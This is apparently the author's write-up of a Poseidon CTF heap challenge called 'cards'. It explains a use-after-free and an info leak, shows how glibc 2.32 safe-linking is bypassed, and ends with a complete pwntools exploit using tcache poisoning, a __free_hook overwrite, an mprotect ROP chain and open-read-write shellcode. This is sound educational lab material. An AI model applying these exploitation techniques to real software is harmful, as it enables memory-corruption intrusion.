# Cards ### Posiedon ctf `cards` writeup, We organized posiedonctf this weekend and i wrote one pwn challenge. Challenge name - `cards` ``` Solves - 9. Cards points-977 [heap] I want to play cards :( . DO you ? nc poseidonchalls.westeurope.cloudapp.azure.com 9004 Author : hk ``` ```python= "Glibc version : 2.32" ``` NOTE[] - The binary had seccomp. Here is the seccomp rules dump generated by seccomp-tools. ![](https://i.imgur.com/IicJZ99.png) The program uses two structures. ```c typedef struct cardinfo{ long int size_name_card; long int ncards; char *name_of_card; }CARD_INFO; ``` ```c typedef struct card{ long int cardnumber; char color[0x8]; CARD_INFO *card; long int iscard; }CARD; ``` This is just a typical heap challenge with capabilities, to these operations ```c 1. Add 2. Delete 3. Edit 4. View ``` #### UAF When we delete a card, The `iscard` member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers. ![](https://i.imgur.com/lM2cIlA.png) Here is the original source code of edit function. ### Edit ```c void edit_name() { unsigned int idx; printf("Enter the index of the card: "); idx = return_number(); if(idx>total_cards||!mycard[idx]->iscard) { puts("Nope"); return; } printf("Enter new name: "); read(0,mycard[idx]->card->name_of_card,sizes[idx]); puts("Edited"); } ``` We can not allocate more than 0x100 size. ### Add Here is the source of Add function The program uses a global variable to `total_cards` to keep count of cards to allocate. And limit is total 9 cards. There is info leak, when it read the name, it doesn't sets the last byte to '\x00' which can be used to leak the pointers. ```c void add() { unsigned int size; if(total_cards>0x8) { exit_error("No"); } mycard[total_cards] = (CARD*)malloc(0x28); mycard[total_cards]->cardnumber=total_cards; printf("Enter size of the name of the card: "); size=return_number(); if(size>0x100){ exit_error("I'm not sure but you are not allowed to do that"); } mycard[total_cards]->card = (CARD_INFO *)malloc(0x28); mycard[total_cards]->card->size_name_card = size; mycard[total_cards]->iscard = TRUE; mycard[total_cards]->card->name_of_card = malloc(size); mycard[total_cards]->card->ncards = total_cards; printf("Enter card color: "); read(0,mycard[total_cards]->color,0x7); printf("Enter name: "); read(0,mycard[total_cards]->card->name_of_card,size); printf("Done.\n"); sizes[total_cards]=size; total_cards++; } ``` ### delete The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak. ```c void delete() { unsigned int idx; printf("Enter index of the card: "); idx = return_number(); if(idx>total_cards||checks[idx]){ puts("No"); return; } free(mycard[idx]); free(mycard[idx]->card); free(mycard[idx]->card->name_of_card); checks[idx]=1; printf("Done.\n"); } ``` And the view function takes and idx and prints the chunk info. However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces `safe-linking`. ***It's just xoring the pointers with help of aslr. here's the article:*** https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/ However this can be bypassed with leaking heap address. It also introduces `alignment checks.` ***here's the new tcache_put source*** ```c static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ``` ***tcache-get*** ```c static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected"); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL; return (void *) e; } ``` And some new definations. ```c #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) ``` This can be easily bypassed after getting the heap leak. So my solution includes. 1. Leak heap 2. overwrite fd pointer with tcache-per-thread struct. #UAF-HERE 3. Keep an 0x100 sized chunk. 4. get allocation to tcache-per-thread struct. 5. After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7. 6. Free 0x100 sized chunk. -> The chunk goes into unsortedbin. 7. Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache. 8. Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk. 9. Then add __free_hook to tcache-per-thread struct using edit function. 10. There is a other option which is not shown in menu. `Secret-name` which reads 0x40 bytes of userdata on to the stack. 11. So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget. 12. Then execute our shellcode on heap and open-read-write flag. #### exploit ```python= #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * exe = context.binary = ELF("./cards") def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw) gdbscript = ''' continue '''.format(**locals()) #io = start() io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004) #######utils def add(size,name): io.sendlineafter("Choice: ","1") io.sendafter("card: ",str(size)) io.sendafter("color: ","HKHKHKH"); io.sendafter("name: ",name) def view(idx): io.sendlineafter("Choice: ","4") io.sendafter("card: ",str(idx)) def remove(idx): io.sendlineafter("Choice: ","2") io.sendafter("card: ",str(idx)) def edit(idx,name): io.sendlineafter("Choice: ","3") io.sendafter("card: ",str(idx)) io.sendafter("name: ",name) def sendrop(rop): io.sendlineafter("Choice: ","6") io.sendafter("name: ",rop) def mask(heapbase,target): return (heapbase >> 0xc) ^ target #------------------------------------------------------ #UAF #Glibc version 2.32 added a new check |chunk should be aligned| and free pointers gets masked. #To bypass, this requires heap leak. #Fast bin attack is now dead because of the alignment check. ##define PROTECT_PTR(pos, ptr) \ # ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) #------------------------------------------------------ ####Addr main_arena = 0x3b6ba0 free_hook = 0x3b8e80 mprotect = 0xf0830 ####gadgets add_rsp = 0x00077f66 pop_rdi = 0x001273dc pop_rsi = 0x00126117 pop_rdx = 0x000c45ed ####exploit add(0x28,"B"*0x28) #0 remove(0) add(0x28,"A"*14+"BB") #1 view(1) io.recvuntil("BB") heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0 print("Heap base: "+hex(heap_base)) add(0xd8,"HKHK")#2 add(0xd8,"HKHK")#3 remove(2) remove(3) target_ptr = mask(heap_base,heap_base+0x10) edit(3,p64(target_ptr)) #uaf add(0xd8,"/home/challenge/flag\x00")#4 add(0xf8,"HKHK")#5 add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))#6 #set tcache-count of chunk 0x101 size to 7 remove(5) #remove chunk and get unsortedbin edit(6,p64(0x00020000000000400)+p64(0x0)*3) #set tcache-count to back to 0 add(0x88,"AAAAAABB")#7 #leak libc now view(7) io.recvuntil("BB") libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90 print("Libc: "+hex(libc_base)) edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook)) add(0x18,p64(libc_base+add_rsp))#8 shellcode = asm(f""" xor rax, rax mov al, 0x2 xor rsi, rsi xor rdx, rdx mov rdi, {heap_base+0x4d0} syscall mov r10, rax xor rax, rax mov rdi, r10 mov rsi, {heap_base+0x100} mov rdx, 0x50 syscall mov rax, 0x1 mov rdi, rax syscall mov rax, 0x3c mov rdi, 0x1337 syscall """) edit(7,shellcode) mprotect_rop = p64(libc_base+pop_rdi)+\ p64(heap_base)+\ p64(libc_base+pop_rsi)+\ p64(0x1000)+\ p64(libc_base+pop_rdx)+\ p64(0x7)+\ p64(libc_base+mprotect)+\ p64(heap_base+0x610) sendrop(mprotect_rop) remove(4) io.interactive() ``` Link to the source-code and exploit: https://github.com/hkraw/posiedonctf-cards